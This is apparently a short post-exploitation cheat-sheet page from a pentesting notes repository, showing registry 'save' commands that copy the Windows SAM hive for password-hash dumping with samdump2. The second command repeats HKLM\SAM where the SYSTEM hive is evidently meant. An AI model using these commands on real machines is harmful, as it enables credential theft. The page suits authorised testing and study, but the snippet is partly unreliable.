killchain-compendium/post_exploitation/docs/powershell.md

154 B

Powershell

HashDump

save HKLM\SAM C:\Users\Administrator\Desktop\SAM
save HKLM\SAM C:\Users\Administrator\Desktop\System
  • Use samdump2